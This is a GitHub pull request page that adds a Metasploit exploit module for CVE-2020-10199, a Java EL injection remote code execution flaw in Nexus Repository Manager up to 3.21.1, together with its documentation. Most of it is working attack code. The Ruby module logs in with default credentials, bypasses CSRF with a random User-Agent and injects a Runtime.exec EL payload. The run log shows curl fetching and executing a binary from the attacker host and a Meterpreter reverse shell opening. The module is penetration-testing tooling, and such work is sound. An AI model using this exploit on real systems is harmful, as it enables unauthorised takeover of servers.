Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Nexus Repository Manager Java EL Injection RCE (CVE-2020-10199) #13195

Merged
merged 6 commits into from
Apr 16, 2020
Merged
Show file tree
Hide file tree
Changes from 3 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,123 @@
## Vulnerable Application

### Description

This module exploits a Java Expression Language (EL) injection in Nexus
Repository Manager versions up to and including 3.21.1 to execute code
as the Nexus user. Tested against 3.21.1-01.

### Setup

Install Docker using the [official instructions](https://docs.docker.com/get-docker/).
Follow the instructions for your platform and distribution (if using
Linux). If you're using OS X, you may prefer to `brew cask install docker`
after installing [Homebrew](https://brew.sh/).

Run `docker run -d -p 8081:8081 --name nexus sonatype/nexus3:3.21.1`
(note the added `3.21.1` tag) as per Sonatype's [Docker Hub instructions](https://hub.docker.com/r/sonatype/nexus3/#running).

### Targets

```
Id Name
-- ----
0 Nexus Repository Manager <= 3.21.1
```

## Verification Steps

Follow [Setup](#setup) and [Scenarios](#scenarios).

## Options

### USERNAME

Set this to a valid Nexus username.

### PASSWORD

Set this to a valid Nexus password.

## Scenarios

### Nexus Repository Manager 3.21.1-01 from [Docker Hub](https://hub.docker.com/r/sonatype/nexus3)

```
msf5 > use exploit/linux/http/nexus_repo_manager_el_injection
msf5 exploit(linux/http/nexus_repo_manager_el_injection) > options

Module options (exploit/linux/http/nexus_repo_manager_el_injection):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin yes Nexus password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8081 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes Nexus username
VHOST no HTTP server virtual host


Payload options (linux/x64/meterpreter_reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Nexus Repository Manager <= 3.21.1


msf5 exploit(linux/http/nexus_repo_manager_el_injection) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 exploit(linux/http/nexus_repo_manager_el_injection) > set lhost 192.168.1.3
lhost => 192.168.1.3
msf5 exploit(linux/http/nexus_repo_manager_el_injection) > run

[*] Started reverse TCP handler on 192.168.1.3:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Nexus 3.21.1-01 is a vulnerable version.
[*] Executing command stager for linux/x64/meterpreter_reverse_tcp
[*] Logging in with admin:admin
[+] Logged in with NXSESSIONID=8b6fd077-1830-4e2b-90e8-2997d260b5c0;
[*] Using URL: http://0.0.0.0:8080/t6NXrxF
[*] Local IP: http://192.168.1.3:8080/t6NXrxF
[*] Generated command stager: ["curl -so /tmp/hgzeytII http://192.168.1.3:8080/t6NXrxF", "chmod +x /tmp/hgzeytII", "/tmp/hgzeytII", "rm -f /tmp/hgzeytII"]
gwillcox-r7 marked this conversation as resolved.
Show resolved Hide resolved
[*] Executing command: curl -so /tmp/hgzeytII http://192.168.1.3:8080/t6NXrxF
[+] Successfully executed command: curl -so /tmp/hgzeytII http://192.168.1.3:8080/t6NXrxF
[*] Client 192.168.1.3 (curl/7.61.1) requested /t6NXrxF
[*] Sending payload to 192.168.1.3 (curl/7.61.1)
[*] Command Stager progress - 50.00% done (54/108 bytes)
[*] Executing command: chmod +x /tmp/hgzeytII
[+] Successfully executed command: chmod +x /tmp/hgzeytII
[*] Command Stager progress - 70.37% done (76/108 bytes)
[*] Executing command: /tmp/hgzeytII
[+] Successfully executed command: /tmp/hgzeytII
[*] Command Stager progress - 82.41% done (89/108 bytes)
[*] Executing command: rm -f /tmp/hgzeytII
[+] Successfully executed command: rm -f /tmp/hgzeytII
[*] Command Stager progress - 100.00% done (108/108 bytes)
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.3:53094) at 2020-04-07 19:25:38 -0500
[*] Server stopped.

meterpreter > getuid
Server username: no-user @ 282665c16215 (uid=200, gid=200, euid=200, egid=200)
meterpreter > sysinfo
Computer : 172.17.0.2
OS : Red Hat Enterprise Linux 8 (Linux 4.19.76-linuxkit)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
190 changes: 190 additions & 0 deletions modules/exploits/linux/http/nexus_repo_manager_el_injection.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,190 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Nexus Repository Manager Java EL Injection RCE',
'Description' => %q{
This module exploits a Java Expression Language (EL) injection in Nexus
Repository Manager versions up to and including 3.21.1 to execute code
as the Nexus user. Tested against 3.21.1-01.
},
'Author' => [
'Alvaro Muñoz', # Discovery
'wvu' # Module
],
'References' => [
['CVE', '2020-10199'],
['URL', 'https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype'],
['URL', 'https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31']
],
'DisclosureDate' => '2020-03-31', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [['Nexus Repository Manager <= 3.21.1', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'},
'CmdStagerFlavor' => %i[curl wget],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))

register_options([
Opt::RPORT(8081),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Nexus username', 'admin']),
OptString.new('PASSWORD', [true, 'Nexus password', 'admin'])
])
end

def post_auth?
wvu marked this conversation as resolved.
Show resolved Hide resolved
# Pre-auth RCE? https://twitter.com/iamnoooob/status/1246182773427240967
true
end

def check
# GET / response contains the Server header with version information
wvu marked this conversation as resolved.
Show resolved Hide resolved
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)

unless res
return CheckCode::Unknown('Target did not respond to check request.')
end

unless res.headers['Server']
return CheckCode::Unknown('Target did not respond with Server header.')
end

# Example Server header:
# Server: Nexus/3.21.1-01 (OSS)
gwillcox-r7 marked this conversation as resolved.
Show resolved Hide resolved
version = res.headers['Server'].scan(%r{^Nexus/([\d.-]+)}).flatten.first

unless version
return CheckCode::Unknown('Target did not respond with Nexus version.')
end

if Gem::Version.new(version) <= Gem::Version.new('3.21.1')
return CheckCode::Appears("Nexus #{version} is a vulnerable version.")
end

CheckCode::Safe("Nexus #{version} is NOT a vulnerable version.")
end

def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super

print_status("Executing command stager for #{datastore['PAYLOAD']}")

# This will drop a binary payload to disk and execute it!
execute_cmdstager(
wvu marked this conversation as resolved.
Show resolved Hide resolved
noconcat: true,
cookie: login(datastore['USERNAME'], datastore['PASSWORD'])
)
end

def login(username, password)
print_status("Logging in with #{username}:#{password}")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,
'/service/rapture/session'),
'vars_post' => {
'username' => Rex::Text.encode_base64(username),
'password' => Rex::Text.encode_base64(password)
},
'partial' => true # XXX: Return partial response despite timeout
gwillcox-r7 marked this conversation as resolved.
Show resolved Hide resolved
}, 3.5)

unless res
fail_with(Failure::Unknown, 'Target did not respond to login request')
end

cookie = res.get_cookies

unless res.code == 204 && cookie.match(/NXSESSIONID=[\h-]+/)
fail_with(Failure::NoAccess, 'Could not log in with specified creds')
end

print_good("Logged in with #{cookie}")
cookie
end

# This is defined so that CmdStager can use it!
def execute_command(cmd, opts = {})
wvu marked this conversation as resolved.
Show resolved Hide resolved
vprint_status("Executing command: #{cmd}")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,
'/service/rest/beta/repositories/go/group'),
# HACK: Bypass CSRF token with random User-Agent header
'agent' => rand_text_english(8..42),
'cookie' => opts[:cookie],
'ctype' => 'application/json',
'data' => json_payload(cmd)
)

unless res
fail_with(Failure::Unknown, 'Target did not respond to payload request')
end

unless res.code == 400 && res.body.match(/java\.lang\.UNIXProcess@\h+/)
fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")
end

print_good("Successfully executed command: #{cmd}")
end

# PoC based off API docs for /service/rest/beta/repositories/go/group:
# http://localhost:8081/#admin/system/api
gwillcox-r7 marked this conversation as resolved.
Show resolved Hide resolved
def json_payload(cmd)
{
'name' => 'internal',
'online' => true,
'storage' => {
'blobStoreName' => 'default',
gwillcox-r7 marked this conversation as resolved.
Show resolved Hide resolved
'strictContentTypeValidation' => true
},
'group' => {
# XXX: memberNames has to be an array, but the API example was a string
'memberNames' => [el_payload(cmd)]
}
}.to_json
end

# Helpful resource from which I borrowed the EL payload:
# https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf
gwillcox-r7 marked this conversation as resolved.
Show resolved Hide resolved
def el_payload(cmd)
# HACK: Format our EL expression nicely and then strip introduced whitespace
el = <<~EOF.gsub(/\s+/, '')
${
"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(
"".getClass().forName("java.lang.Runtime")
).exec("PATCH_ME")
}
EOF

# Patch in our command, escaping any double quotes
el.sub('PATCH_ME', cmd.gsub('"', '\\"'))
end

end